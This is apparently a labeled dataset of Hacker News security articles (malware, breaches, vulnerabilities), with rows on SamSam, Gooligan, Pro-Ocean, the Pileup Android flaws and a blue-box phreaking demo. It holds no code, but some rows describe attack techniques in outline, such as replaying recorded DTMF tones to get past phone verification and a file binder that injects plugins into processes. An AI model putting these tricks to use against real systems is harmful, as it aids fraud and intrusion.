According to Kaspersky, versions of miniFlame were created in 2010 and 2011, and some of the six variants are still considered active. It is expected that development of the malicious program could have started as far back as 2007. ""MiniFlame is a high precision attack tool,"" said Alexander Gostev, Chief Security Expert, Kaspersky Lab, describing the malware. ""Most likely it is a targeted cyber weapon used in what can be defined as the second wave of a cyberattack.""


Main results of miniFlame analyses:
miniFlame aka SPE, based on the same architectural platform as Flame. It can run as a standalone program or cyber espionage as an internal component of Flame and Gauss.
The tool of cyber operates via a backdoor (""backdoor"") designed to steal data and give direct access to infected systems.
Development miniFlame could have started as early as 2007 and continued until the end of 2011. Many variants appear to have been created. Today, Kaspersky Lab has identified six key corresponding to two generations 4.x and 5.x.
Unlike Flame or Gauss, responsible for a large number of infections, due to the miniFlame is much lower. According to the data from Kaspersky Lab, it would be limited to 10 or 20 machines. The total number of infections globally is estimated at 50 or 60.
The small number of infections combined with flight capabilities miniFlame information and the flexibility of its design indicates that it has been used for highly targeted cyber espionage operations and has most likely been deployed in machines already infected with Flame or Gauss.


Subscribe to our Daily Newsletter via email - Be First to know about Security and Hackers. or Join our Huge Hackers Community on Facebook, Google+ and Twitter.

",Cyber_Attack
U.S Charges Two Iranian Hackers for SamSam Ransomware Attacks,https://thehackernews.com/2018/11/samsam-ransomware-iranian-hackers.html,"The Department of Justice announced Wednesday charges against two Iranian nationals for their involvement in creating and deploying the notorious SamSam ransomware.

The alleged hackers, Faramarz Shahi Savandi, 34, and Mohammad Mehdi Shah, 27, have been charged on several counts of computer hacking and fraud charges, the indictment unsealed today at New Jersey court revealed.

The duo used SamSam ransomware to extort over $6 million in ransom payments since 2015, and also caused more than $30 million in damages to over 200 victims, including hospitals, municipalities, and public institutions.

According to the indictment, Savandi and Mansouri have been charged with a total of six counts, including one count of conspiracy to commit wire fraud, one count of conspiracy to commit fraud and related activity in connection with computers, two counts of intentional damage to a protected computer, and two counts of transmitting a demand in relation to damaging a protected computer.

Since both hackers live in and operated from Iran, they have not yet been arrested by the United States authorities and the FBI has added them on their list of wanted hackers.

According to the indictment, Savandi and Mansouri created the first version of the SamSam Ransomware in December 2015 and created further refined versions of the threat in June and October 2017.
""Defendants authored various versions of the SamSam Ransomware, which was designed to encrypt data on Victim computers. SamSam Ransomware was designed to maximize the damage caused to the Victim by, for instance, also encrypting backups of the targeted computers,"" the indictment says.
""Defendants used a variety of methods to gain access to Victim computer networks, including exploiting known security vulnerabilities in common server software and utilizing virtual private servers such as European VPS #1 and European VPS #2 to mask their identities.""
Unlike most ransomware infections, SamSam was not distributed in an unplanned way via spam email campaigns. Instead, the attackers chose potential targets and infected systems manually.

Attackers first compromised the RDP on a targeted system—either by conducting brute force attacks or using stolen credentials—and then attempted to strategically deploy SamSam throughout the network by exploiting vulnerabilities in other systems.

Once on the entire network, SamSam encrypts the system's data and demands a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys.

Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University.
""According to the indictment, [affected victims includes] the City of Atlanta, the City of Newark, the Port of San Diego, the Colorado Department of Transportation, the University of Calgary, Hollywood Presbyterian Medical Centers, Kansas Heart Hospital, MedStar Health, Nebraska Orthopedic Hospital, and Allscripts Healthcare Solutions Inc.""
The Atlanta city's officials refused to pay the ransomware, and the recovery effort cost them estimated $17 million.

Leaving behind other well-known ransomware viruses like WannaCry and NotPetya, SamSam became the largest paid ransomware of its kind with one individual victim paid $64,000.

Since Iran has no extradition policy with the United States, the indictment may not guarantee the extraditions or convictions of the two alleged hackers. But being on the wanted list of the FBI make it difficult for the duo to travel outside their country's boundary freely.
",Malware
TapLogger Android Trojan can Determine Tapped Keys,https://thehackernews.com/2012/04/taplogger-android-trojan-can-determine.html,"TapLogger Android Trojan cab Determine Tapped Keys


Today's smartphones are shipp ed with various embedded motion sensors, such as the accelerometer, gyroscope, and orientation sensors. These motion sensors are useful in supporting the mobile UI innovation and motion-based commands. However, they also bring potential risks of leaking user's private information as they allow third party applications to monitor the motion changes of smart phones.

A team of researchers from Pennsylvania State University (PSU) and IBM have devised an Android-based Trojan that can use a handset's onboard movement sensors to crack passwords.

The team created an experimental app called TapLogger, which is based on the premise that when you tap on your touch screen, you're not just interacting with the screen, but moving the entire device. So if you hit a button in the upper right corner, your phone will actually move in that direction slightly, and that subtle movement is then read by the accelerometer and other sensors built-in to your device.

TapLogger was created by Zhi Xu, a PhD candidate in the Department of Computer Science and Engineering at PSU, Kun Bai, a researcher at IBM T.J. Watson Research Center and Sencun Zhu, an associate professor of Computer Science and Engineering at PSU's College of Engineering.

Accelerometer and orientation sensor data are not protected under Android's security model, and this means that they are exposed to any application, regardless of its permissions on the system, the research team said in a paper that was presented during the ACM Conference on Security and Privacy in Wireless and Mobile Networks on Tuesday.

In August 2011, a pair of researchers from University of California proposed a similar attack and designed a concept application called TouchLogger to demonstrate it.

",Malware
Android Malware can now steal 3D Model Of Your Location,https://thehackernews.com/2012/10/android-malware-can-now-steal-3d-model.html,"It's a fact that as smartphones get more capable, the possibilities for their misuse also increase. They're already exploited by crooks to swipe personal information, but a new Android app created by the U.S. Navy is on another level entirely. It's a scary piece of malware called ""PlaceRaider"" that was developed by the US Naval Surface Warfare center and for now it is being viewed as just a proof of concept.

According to the MIT Technology Review, researchers at Indiana University and the Naval Surface Warfare Center have developed a new form of malware designed to record and reconstruct a victim's environment.

They has just worked out how to infect a mobile phone with a Trojan that can take photos without you knowing anything about it and send sensor data back to a server. The data are used to construct a 3D model which can be used not only to perform the reconnaissance necessary to break in, but also to steal confidential information such as bank details.

On the original page presenting an explanation of the app, the authors note that their work demonstrated ""the effectiveness of using mobile devices as powerful surveillance and virtual theft platforms.""

The software even shuts off the phone's speaker so someone being spied on doesn't hear the typical sound a device emits when a photo is taken. The developers do say that one way to protect yourself against virtual theft apps such as this is by ensuring that you always have antivirus software and that your shutter audio is always on.



",Malware
50 million customers compromised in LivingSocial hack,https://thehackernews.com/2013/04/50-million-customers-compromised-in.html,"LivingSocial, a daily deals website part-owned by Amazon Inc., hit by a cyber attack that may have affected more than 50 million customers and will need to reset their passwords. LivingSocial says it has 70 million members worldwide.


Leaked data includes names, e-mail addresses, dates of birth and encrypted passwords. Customers' credit card information and merchants' financial and banking information were not affected by the hack, LivingSocial said. So it looks like some personal info may have fallen into the wrong hands, but credit card and other financial details should be safe.

The cyberattack affected LivingSocial customers in North America, Australia, New Zealand, United Kingdom, Ireland and Malaysia and its LetsBonus users in Southern Europe and Latin America.

So if you're among the affected users, the hackers have just the right amount of information to phish you. The site is sending out emails to customers advising them to change their passwords.

",Cyber_Attack
Operation Ghost Click by FBI - Online advertising scam taken Down,https://thehackernews.com/2011/11/operation-ghost-click-by-fbi-online.html,"Operation Ghost Click by FBI - Online advertising scam taken Down

A gang of internet 'cyber bandits' who stole $14 million after hacking into at least 4 million computers in an online advertising scam have been arrested following a joint investigation by the FBI and Nasa. Six men are in custody in Estonia, pending extradition to the United States, following a two-year investigation into an ""intricate international conspiracy"" that ""hijacked"" millions of computers around the world and stole more than US$14-million. The FBI's two-year investigation was dubbed ""Operation Ghost Click"".

Computers in more than 100 countries were infected by the ""DNSChanger"" malware, which redirected searches for Apple's iTunes store to fake pages pretending to offer Apple software for sale, as well as sending those searching for information on the U.S. Internal Revenue Service to accounting company H&R Block, which allegedly paid those behind the scam a fee for each visitor via a fake internet ad agency.

""These defendants gave new meaning to the term 'false advertising',"" said Manhattan US Attorney Preet Bharara. ""As alleged, they were international cyber bandits who hijacked millions of computers at will and re-routed them to websites and advertisements of their own choosing, collecting millions in undeserved commissions for all the hijacked computer clicks and internet ads they fraudulently engineered.""

Here's some screenshots from the FBI's ""Check to See if Your Computer is Using Rogue DNS"" instructions.

Trend Micro, which helped supply information to the FBI on DNS Changer, hailed the law enforcement operation as the ""biggest cyber criminal takedown in history."" Whilst the rogue DNS servers have been replaced, many may still be infected. Head here to learn about how to check if your system is part of the DNS Changer botnet.

",Malware
Skype privacy bug that can Send Messages To The Wrong Contacts,https://thehackernews.com/2012/07/skype-privacy-bug-that-can-send.html,"What if when you sent a message to someone, it had a very good chance of going to someone else in your contact list? That would be pretty scary right? That what some Skype users are reporting.

The bug was first discussed in Skype's user forums, and seems to have followed a June 2012 update of the Skype software. Skype has confirmed the bug existence and that a fix is in the works. However, the company characterizes the bug as ""rare.""

Purchased by Microsoft last year for $8.5 billion, the Luxemburg company which has as many as 40 million people using its service at a time during peak periods, explained that messages sent between two users were in limited cases being copied to a third party, but did not elaborate further on the matter.

Five other individuals of the Microsoft-owned program confirmed they were also seeing instant messages being sent to the wrong person from their contact list. Sometimes it's just a few messages, while other times it's a whole conversation.

Skype has, on its blog, confirmed the issue of a bug sending instant messages to wrong contacts and has promised a fix. Addressing the issue, Skype wrote, ""Based on recent Skype customer forum posts and our own investigation over the past couple of days, we have identified a bug that we are working hard to fix.""

",Vulnerability
myOpenID XSS : One of the Largest OpenID provider is Vulnerable,https://thehackernews.com/2011/11/myopenid-xss-one-of-largest-openid.html,"myOpenID XSS : One of the Largest OpenID provider is Vulnerable

One of the One of the Largest Independent OpenID provider ""myOpenID"" is Vulnerable to Cross Site Scripting (XSS) ,Discovered by ""SeeMe"" - Member of Inj3ct0r Team. Cross Site Scripting (or XSS) is one of the most common application-layer web attacks.


What Hacker can do - ""The attackers can steal the session ID of a valid user using XSS. The session ID is very valuable because it is the secret token that the user presents after login as proof of identity until logout. If the session ID is stored in a cookie, the attackers can write a script which will run on the user's browser, query the value in the cookie and send it to the attackers. The attackers can then use the valid session ID to browse the site without logging in. The script could also collect other information from the page, including the entire contents of the page"".

Proof Of Concept - Click Here

",Vulnerability
Phone Phreaking using Bluebox Demonstrated in India,https://thehackernews.com/2012/04/phone-phreaking-using-bluebox.html,"Phone Phreaking using Bluebox Demonstrated in India

Christy Philip Mathew, an Indian Information Security Instructor and Hacker demonstrated Phone Phreaking using Bluebox in his lab. This time we have something really special that would remind us the phone phreaking. Actually Phone Phreaking reminds us about the life of Kevin Mitnick, Steve Wozniak and John Drapper, mean the olden times when they used to play around with the bluebox.

What is Blue Box: This device is certainly one of the most unique pieces of electronic equipment that I have been able to collect so far. It is essentially a hacking tool disguised to look like a common 1970's Texas Instruments hand held electronic calculator. Basically a real calculator was sacrificed and modified to produce audio frequency signaling tones which allowed the user to freely (and illegally) access the Bell Telephone System long distance network.

The origin of the name ""blue box"" was due to the fact the some of the earliest home built versions were actually housed in blue boxes. Below is a 1970's photo found on the web showing a happy phone phreak in action with such a device.

That was just awesome and worked in the times of Mitnick. Christy Philip Mathew always used to explain these to his students but never got a chance to prove it.

One day he was just checking up his bank accounts and he came across a deduction of some amount without any reason. So he thought to call up the customer care department to make sure what exactly is going around with his account. They said bla bla bla .... Hell out of excuses. So he used to call up the customer care department more than 3 to 4 times a day to know the status of my account deduction. Every time he had to verify his Customer Identification Number and the Mobile Number before he get connected to the Customer care department. This way, He had been repeating the steps the same time again and again. In simple terms tones gets generated every single time and he was completely tired with it. So he thought of having fun around and test up something what if he record the tones generated for his mobile number and customer identification number and play it when it ask him for.

Yes, He is talking about the blue-box kind of Application via Android Phone with the help of it. So here he use ToneDef, is a small, but powerful tone dialer application featuring DTMF, bluebox, and redbox tone generation.

Next day he dialed up the customer care and when they asked him to verify by dialing my mobile number he just played the recorded tones using an android application. Finally Customer Care system got it accepted that instant and now they ask him for Customer Identification Number, So again he played the second recorded tone respectively.

On the very next day Christy Philip Mathew contacted me ( Mohit, Founder - The Hacker News ) and we decided to try this on a Public Booth to check the idea that weather we are able to call from Public booth without inserting the coin or not ? Sudden Christy plan to buy a coin operated phone terminal from eBay. It took around like 8 to 10 days to get his package.

At last Christy demonstrate the Concept and Here below in the video you can see Proof of Concept:

1.) Coin Operated Phone Terminal


2.) Customer Care Department:


3.) Land Line Phone

",Vulnerability
British Baptist Minister's son charged with hacking US Army and Nasa Computer Systems,https://thehackernews.com/2013/10/british-baptist-ministers-son-charged.html,"Son of a Baptist Minister, 28-year-old British man named Lauri Love has been charged with hacking into the computer systems of the US army, NASA and other federal agencies.

He was arrested Friday at his home in Stradishall, England by the National Crime Agency and according to the indictment alleges Love and his unnamed co-conspirators hacked into thousands of computer systems between October 2012 and October 2013. The indictment does not accuse Love of selling information or doing anything else with it for financial gain.
His father Alexander Love, 60, a Baptist minister, works as a chaplain at HMP Highpoint North. His mother Sirkka-Liisa Love, 59, also works at the jail as a teacher.

He is charged with one count of accessing a U.S. Department or agency computer without authorization and one count of conspiracy. The government said the purpose was to disrupt the operations and infrastructure of the federal government. They stole data on more than 5,000 individuals, as well as information on government budgets and procurement processes.
Love is alleged to have used the online monikers ""nsh"", ""route"", and ""peace"" to plot attacks from his home with three unnamed conspirators in Australia and Sweden and US authorities declined to discuss whether they had been arrested or will be arrested and extradited to the US.

""You have no idea how much we can fuck with the US government if we wanted to,"" Love told a hacking colleague in one exchange over Internet relay chat, prosecutors alleged. ""This... Stuff is really sensitive. It's basically every piece of information you'd need to do full identity theft on any employee or contractor"".

Love could be extradited to the US, where if convicted he faces up to ten years in prison and a fine for twice the damage caused. Gary McKinnon's mother, Janis Sharp, accused US authorities of targeting young British geeks, said ""They are just young geeks sitting in their bedrooms; they're not murderers, they're not terrorists, they're not selling secrets, they're just searching for information,"".

He has been released on bail until February and could face a maximum potential penalty of five years in prison and a $250,000 fine for each count.

",Cyber_Attack
Over 1 Million Google Accounts Hacked by 'Gooligan' Android Malware,https://thehackernews.com/2016/11/hack-google-account.html,"If you own an Android smartphone, Beware! A new Android malware that has already breached more than 1 Million Google accounts is infecting around 13,000 devices every day.

Dubbed Gooligan, the malware roots vulnerable Android devices to steal email addresses and authentication tokens stored on them.

With this information in hands, the attackers are able to hijack your Google account and access your sensitive information from Google apps including Gmail, Google Photos, Google Docs, Google Play, Google Drive, and G Suite.

Researchers found traces of Gooligan code in dozens of legitimate-looking Android apps on 3rd-party app stores, which if downloaded and installed by an Android user, malware starts sending your device's information and stolen data to its Command and Control (C&C) server.
""Gooligan then downloads a rootkit from the C&C server that takes advantage of multiple Android 4 and 5 exploits including the well-known VROOT (CVE-2013-6282) and Towelroot (CVE-2014-3153),"" researchers said in a blog post.
""If rooting is successful, the attacker has full control of the device and can execute privileged commands remotely.""
According to CheckPoint security researchers, who uncovered the malware, anyone running an older version of the Android operating system, including Android 4.x (Jelly Bean, KitKat) and 5.x, (Lollipop) is most at risk, which represents nearly 74% of Android devices in use today.
""These exploits still plague many devices today because security patches that fix them may not be available for some versions of Android, or the patches were never installed by the user,"" researchers added.
Once hack into any Android device, Gooligan also generates revenues for the cyber criminals by fraudulently buying and installing apps from Google Play Store and rating them and writing reviews on behalf of the phone's owner. The malware also installs adware to generate revenue.

How to check if your Google account has been compromised with this malware?

Check Point has published an online tool to check if your Android device has been infected with the Gooligan malware. Just open 'Gooligan Checker' and enter your Google email address to find out if you've been hacked.

If you found yourself infected, Adrian Ludwig, Google's director of Android security, has recommended you to run a clean installation of the operating system on your Android device.

This process is called 'Flashing,' which is quite a complicated process. So, the company recommends you to power off your device and approach a certified technician or your mobile service provider in order to re-flash your device.

",Malware
"New Cryptojacking Malware Targeting Apache, Oracle, Redis Servers",https://thehackernews.com/2021/02/new-cryptojacking-malware-targeting.html,"A financially-motivated threat actor notorious for its cryptojacking attacks has leveraged a revised version of their malware to target cloud infrastructures using vulnerabilities in web server technologies, according to new research.
Deployed by the China-based cybercrime group Rocke, the Pro-Ocean cryptojacking malware now comes with improved rootkit and worm capabilities, as well as harbors new evasion tactics to sidestep cybersecurity companies' detection methods, Palo Alto Networks' Unit 42 researchers said in a Thursday write-up.
""Pro-Ocean uses known vulnerabilities to target cloud applications,"" the researchers detailed. ""In our analysis, we found Pro-Ocean targeting Apache ActiveMQ (CVE-2016-3088), Oracle WebLogic (CVE-2017-10271) and Redis (unsecure instances).""
""Once installed, the malware kills any process that uses the CPU heavily, so that it's able to use 100% of the CPU and mine Monero efficiently.""
First documented by Cisco Talos in 2018, Rocke has been found to distribute and execute crypto-mining malware using a varied toolkit that includes Git repositories and different payloads such as shell scripts, JavaScript backdoors, as well as portable executable files.
While prior variants of the malware banked on the capability to target and remove cloud security products developed by Tencent Cloud and Alibaba Cloud by exploiting flaws in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion, Pro-Ocean has expanded the breadth of those attack vectors by aiming at Apache ActiveMQ, Oracle WebLogic, and Redis servers.
Besides its self-spreading features and better hiding techniques that allow it to stay under the radar and spread to unpatched software on the network, the malware, once installed sets about uninstalling monitoring agents to dodge detection and removing other malware and miners from the infected systems.
To achieve this, it takes advantage of a native Linux feature called LD_PRELOAD to mask its malicious activity, a library named Libprocesshider to stay hidden, and uses a Python infection script that takes the machine's public IP to infect all machines in the same 16-bit subnetwork (e.g., 10.0.X.X).
Pro-Ocean also works to eliminate competition by killing other malware and miners, including Luoxk, BillGates, XMRig, and Hashfish, running on the compromised host. In addition, it comes with a watchdog module written in Bash that ensures persistence and takes care of terminating all processes that utilize more than 30% of the CPU with the goal of mining Monero efficiently.
""This malware is an example that demonstrates that cloud providers' agent-based security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure,"" Unit 42 researcher Aviv Sasson said. ""This sample has the capability to delete some cloud providers' agents and evade their detection.""

",Malware
Widespread Instagram Hack Locking Users Out of Their Accounts,https://thehackernews.com/2018/08/hack-instagram-accounts.html,"Instagram has been hit by a widespread hacking campaign that appears to stem from Russia and have affected hundreds of users over the past week, leaving them locked out of their accounts.

A growing number of Instagram users are taking to social media, including Twitter and Reddit, to report a mysterious hack which involves locking them out of their account with their email addresses changed to .ru domains.

According to victims, their account names, profile pictures, passwords, email addresses associated with their Instagram accounts, and even connected Facebook accounts are being changed in the attack.

Many of the affected Instagram users are also complaining about their profile photos replaced with stills from popular films, including Despicable Me 3 and Pirates of the Caribbean.

Although it is still unknown who is behind the widespread hack of Instagram accounts, the use of the email addresses originating from Russian email provider mail.ru may indicate a Russian hacker or hacking group is behind the attack, or perhaps hackers pretending to be from Russia.

First spotted by Mashable, the hack even affected Instagram users with two-factor authentication (2FA) enabled, as at least one user told Mashable that he was using 2FA, but it did nothing to stop his account from being hacked. However, it is currently unconfirmed.
In response to the report, Instagram published a blog post saying that the company continues to investigate the issue and that it has ""dedicated teams helping people to secure their accounts.""
""We are aware that some people are having difficulty accessing their Instagram accounts,"" Instagram says, pointing users to its guidance on hacked accounts to help keep their account secure.
The company advises Instagram users to keep a secure password with at least six numbers and/or letters, enable 2FA for additional security, and to revoke any suspicious third-party app that might have access to their accounts.

Instagram currently relies on text messages for two-factor authentication, which is believed to be less secure than other app-based 2FA methods, but the Facebook-owned company says it is working on improving its 2FA settings.

However, since the unknown technique being used by attackers to hack Instagram accounts is still unaddressed, there's nothing much you can do if the suspected loophole can also bypass two-factor authentication.

The motive behind the attacks is still unknown, but it appears that the attacks on Instagram are still happening at the time of writing.

For more information, users are recommended to visit the Instagram Help Centre dedicated to hacked accounts, which includes security tips as well as steps they can take to restore their account.
",Vulnerability
Hacking Smart Electricity Meters To Cut Power Bills,https://thehackernews.com/2014/10/hacking-smart-electricity-meters-to-cut.html,"Smart devices are growing at an exponential pace with the increase in connecting devices embedded in cars, retail systems, refrigerators, televisions and countless other things people use in their everyday life, but security and privacy are the key issues for such applications, which still face some enormous number of challenges.

Millions of Network-connected electricity meters or Smart meters used in Spain are susceptible to cyberattack by hackers due to lack of basic and essential security controls that could put Millions of homes at risk, according to studies carried out by a pair of security researcher.

HACKERS TO CAUSE BLACKOUT AND BILL FRAUD
The security vulnerabilities found in the electricity meters could allow an intruder to carry out billing fraud or even shut down electric power to homes and cause blackouts.

Poorly protected credentials inside the devices could let attackers take control over the gadgets, warn the researchers. The utility that deployed the meters is now improving the devices' security to help protect its network.

During an interview on Monday, the security researchers, Javier Vazquez Vidal and Alberto Garcia Illera, said the vulnerability affects smart meters installed by a Spanish utility company, the one on which the Spanish government relied in order to improve national energy efficiency.

The research carried out by the duo researchers will soon be presented at Black Hat Europe hacking conference in Amsterdam next week. The duo will explain on how they reverse engineered smart meters and found blatant security weaknesses that allowed them to commandeer the devices to shut down power or perform electricity usage fraud over the power line communications network.

SMART METER'S REPROGRAMMABLE MEMORY RUNS FLAWED CODE
The Vulnerability resides in the memory chips of the smart meters, which are reprogrammable and contain flawed code that could be exploited to remotely shut down power supplies to individual households, tamper meter readings, transfer meter readings to other customers and insert ""network worms"" that could leave millions of homes without power causing widespread blackouts.

Though the researchers will not provide any detail explanation on what they actually did, until the problems are fixed by the Smart meter vendor. ""We are not releasing the exact details; we are not going to say how we did this,"" Garcia Illera, a security expert involved in the smart meter research, told Reuters. ""This issue has to be fixed.""

WEAK ENCRYPTION USED
According to the two researchers, the Smart meters use relatively easy to crack symmetric AES-128 encryption, which was designed to secure communications and prevent tampering with billing systems by fraudsters.

There are three major utility companies in Spain — Endesa, Iberdrola and E.ON and collectively 8 million Smart meters have been installed on over 30 percent of households. However, the two haven't yet disclosed the specific smart meter manufacturer at this time.

The duo said they could take full control of the meter box, switch its unique ID to impersonate other customer boxes or turn the meter itself into a weapon for launching attacks against the power network.
""Oh wait? We can do this? We were really scared,"" said Vazquez Vidal, another security expert involved in the smart meter research. ""We started thinking about the impact this could have. What happens if someone wants to attack an entire country?"" he said.
Internet of Things (IoTs) promise to make life easier in countless ways, but as with any technology seeing an upswing, it's to be expected that there will be associated security issues and challenges and this was what happened with the Smart meters in Spain.

",Vulnerability
Crash Your Friends' WhatsApp Remotely with Just a Message,https://thehackernews.com/2014/12/crash-your-friends-whatsapp-remotely_1.html,"A Vulnerability has been discovered in the wildly popular messaging app WhatsApp, which allows anyone to remotely crash WhatsApp just by sending a specially crafted message, two security researchers reported 'The Hacker News'.

Two India based independent security researchers, Indrajeet Bhuyan and Saurav Kar, both 17-year old teenagers demonstrated the WhatsApp Message Handler vulnerability to one of our security analyst.

In a video demonstration, they showed that how a 2000 words (2kb in size) message in special character set can crash Whatsapp messenger app. Previous it was discovered that sending a huge message ( greater than 7mb in size) on Whatsapp could crash victim device and app immediately, but using this new exploit attacker only need to send a very small size (approx 2kb) message to the victim.

The worried impact of the vulnerability is that the user who received the specially crafted message will have to delete his/her whole conversation and start a fresh chat, because opening the message keeps on crashing WhatsApp unless the chat is deleted completely.
""What makes it more serious is that one needs to delete entire chat with the person they are chatting to in order to get back whatsapp work in normal,"" Bhuyan told THN in an e-mail.
According to the duo, the reported vulnerability has been tested and successfully works on most of the versions of Android Operating system including Jellybean, Kitkat, and all the below android versions.

Similarly, Any member of your WhatsApp group could intentionally send a specially crafted message to exit people from the group and delete the group. Also, for example, if I don't want someone to keep records of my chat with them, then I can also send the same message exploit to the person.

The vulnerability has not been tested on iOS, but it is sure that all versions of WhatsApp including 2.11.431 and 2.11.432 are affected with this bug. Also the attack does not work on Windows 8.1.

They have also provided the Proof-of-Concept (PoC) video for the attack, users can watch above.

WhatsApp, bought by Facebook for $19 billion in February this year, has 600 Million users as of October 2014, and according to the researchers, an estimated number of users affected by the vulnerability could be 500 Million.

WhatsApp was in news recently for making end-to-end encryption on all text messages as a default feature in an effort to boost the online privacy and security of its users around the world. The app maker describe this move as the ""largest deployment of end-to-end encryption ever.""

",Vulnerability
"Rakabulle, Advance File Binder from DarkComet RAT Developer",https://thehackernews.com/2014/01/rakabulle-advance-file-binder-from.html,"I hope you all still remember the famous and powerful Remote Administration Tool (RAT) called 'Dark Comet', developed by a French computer geek 'Jean-Pierre Lesueur', also known as 'DarkCoderSc'.

However, He had closed the Dark Comet project, when the Syrian government found to be using it to track down and to spy on their people. After that DarkCoderSc started working under a new banner 'Phrozen Software' to develop many new security softwares and penetration testing tools.

Just yesterday, Jean-Pierre and his team-mate Fabio Pinto from French University, have released a new tool called 'Rakabulle', a file binder with some cool features for penetration testers and malware researchers.

File binder is an application that allows a user to bind multiple files together, resulting in a single executable file. When you execute that single application, all previous merged files will be extracted to a temporary location, and will be executed normally.
""The builder Rakabulle application will create a stub and inject in its resource the target files to extract and execute. The stub is the little generate part of the program which is designed to extract from its resource the target files to a temporary location and execute. In our application the stub also got a part to inject in Explorer or Internet Explorer process and load custom made plugins.
Video Demo:
Listed features are:
File binder, auto file extractor and executor.
REM (Remote Code Execution), Execute code (Plugins) in target process (Explorer or Internet Explorer)
Support 32 and 64 Process.
The application is a 32bit Application (Soon we will compile the 64bit version)
Support UPX compression for the stub (Without compression stub size is about 38KiB using pure Windows API no extra libraries; with compression stub size is approximately 16KiB) The UPX compression doesn't change the way the application work only the final size.
Support Windows startup.
Doesn't require administrative privileges.
Plugins and File list support drag and drop.
Support plugins with an open source example.
The stub and the builder are coded using Unicode encoding.
The file binder application is available for Free to download from Rakabulle website.

",Malware
Fake WeChat App Targeting Android Users with Banking Trojan,https://thehackernews.com/2014/05/fake-wechat-app-targeting-android-users.html,"After Whatsapp, The Chinese WeChat is the second most popular messaging application and currently being targeted by cybercriminals to spread a new Banking Trojan in order to steal the financial information from its users.

WeChat is a famous mobile instant messaging app developed by Chinese company Tencent, with more than 355 million users across the world. The app offers people to chit-chat with their friends and relatives, and also allows users to make payments for goods and services on WeChat.

The Payment feature of the app requires users' bank account details to their messenger account and this is what tempting cybercriminals to develop new and more sophisticated banking Trojans and malwares.

The security researchers at Kaspersky Lab have uncovered such banking Trojan, dubbed as Banker.AndroidOS.Basti.a, which looks exactly like the legitimate WeChat application for Android devices. While installation, it also requires the same permissions such as to access the Internet, received SMSs, and other services just like the real Wechat app.

Researchers found that some modules of the malware app are encrypted and this feature makes it different and sophisticated from other Mobile banking malwares. The malware authors have used an effective encryption in order to prevent Banker.AndroidOS.Basti.a trojan from reverse engineering of the code.

However, the Kaspersky researchers have successfully managed to decode the threat module and found that the malware is capable to perform various types of malicious tasks, including its more professional GUI, which makes it an efficient phishing tool.

Once the malicious WeChat app installed on the victims' android devices, they are served a page asking to enter some useful information including their phone numbers, payment card numbers, PINs and other financial data.

As soon as a victim provides the personal details to the fake app, it sends them back to an email account controlled by the malware author. ""This Trojan-Banker also registered a BootReceiver. It will monitor newly received text messages and uninstall broadcasts from the infected mobile."" they noticed.
The email account name and password details are hard-coded in the source code of the trojan and researchers have successfully retrieved it. They logged into the attackers email account and found that the banking trojan has already made lots of victims.
As the online apps are becoming more popular among the people, hence becoming an easy and a tempting target for cyber thieves. So, its up to you to better safeguard your data privacy.

Make sure that you have installed a reputed mobile security software in your devices. Always update your software applications to the latest version and avoid providing your sensitive information to any suspicious websites or downloading any app from any untrusted source.

",Malware
Android Privilege Escalation Flaws leave Billions of Devices vulnerable to Malware Infection,https://thehackernews.com/2014/03/android-privilege-escalation-flaws.html,"Android - a widely used Smartphone platform offered by Google is once again suspected to affect its users with malicious software that puts their android devices at risk. This time the vulnerabilities occur in the way Android handle the updates to add new flavors to your device.

Researchers from Indiana University and Microsoft have discovered [Paper PDF] a new set of Android vulnerabilities that is capable to carry out privilege escalation attacks because of the weakness in its Package Management Service (PMS) that puts more than one billion Android devices at risk.

The researchers dubbed the new set of security-critical vulnerabilities as Pileup flaws which is a short for privilege escalation through updating, that waylays inside the Android PMS and intensifies the permissions offered to malicious apps whenever an android update occurs, without informing users.

The research was carried out by Indiana University Bloomington researchers, Luyi Xing, Xiaorui Pan, Kan Yuan and XiaoFeng Wang, with the help of Rui Wang of Microsoft.

Six different Pileup vulnerabilities have been found by the researchers within the Android PMS, those are present in all Android Open Source Project versions, including more than 3,500 customized versions of Android developed by handset makers and carriers.

""Every few months, an update is released, which causes replacement and addition of tens of thousands of files on a live system. Each of the new apps being installed needs to be carefully configured to set its attributes within its own sandboxes and its privileges in the system, without accidentally damaging existing apps and the user data they keep,"" the researchers wrote. ""This complicates the program logic for installing such mobile updates, making it susceptible to security-critical flaws.""

The researchers also found that by exploiting the Pileup vulnerabilities, a hacker can not only control the system permission and signature but also their settings. Moreover an attacker could use the malicious app to access and steal the device data, including, sensitive user information such as activity logs, user credentials, Contacts, Messages etc.

""A distinctive and interesting feature of such an attack is that it is not aimed at a vulnerability in the current system. Instead, it exploits the flaws in the updating mechanism of the ""future"" OS, which the current system will be upgraded to,"" the researchers wrote. ""More specifically, though the app running on a lower version Android, the adversary can strategically claim a set of carefully selected privileges or attributes only available on the higher OS version.""

In short, it means that, if an attacker sends the malicious app update and if the permission don't exist in the older version of the android that is added to the new version; the malicious app will silently acquire the permissions and when the device is upgraded to the newer version, the pileup flaws will be automatically exploited.
""A third-party package attribute or property, which bears the name of its system counterpart, can be elevated to a system one during the updating shuffle-up where all apps are installed or reinstalled, and all system configurations are reset,"" the researcher wrote. ""Also, when two apps from old and new systems are merged as described above, security risks can also be brought in when the one on the original system turns out to be malicious.""
During the update, first the PMS will install all new and existing system apps and then will proceed to install third party apps from the old OS and during the installation of malicious app packed inside PMS, the device will recognize and silently grants all the permissions that malicious app requests, as it supposes that these permissions are with an existing app and have already been approved by the user.

""With the help of a program analyzer, our research discovered 6 such Pileup flaws within Android Package Manager Service and further confirmed their presence in all AOSP (Android Open Source Project) versions and all 3,522 source code versions customized by Samsung, LG and HTC across the world that we inspected, which strongly indicates their existence in all Android devices in the market.""

Moreover detecting the critical flaws, the researchers have developed a new scanner app called SecUP that search for malicious apps already on a device designed to exploit Pileup vulnerabilities. Scanning tool inspects already installed Android application packages (APKs) on the device, in an attempt to identify those that will cause privilege escalations during an update, the paper stated.
The SecUP scanning tool consists of an automated vulnerability detector, a program verification tool for Java that discovers the Pileup flaws within the source code of different Android versions and a threat analyzer that automatically scans thousands of OS images.
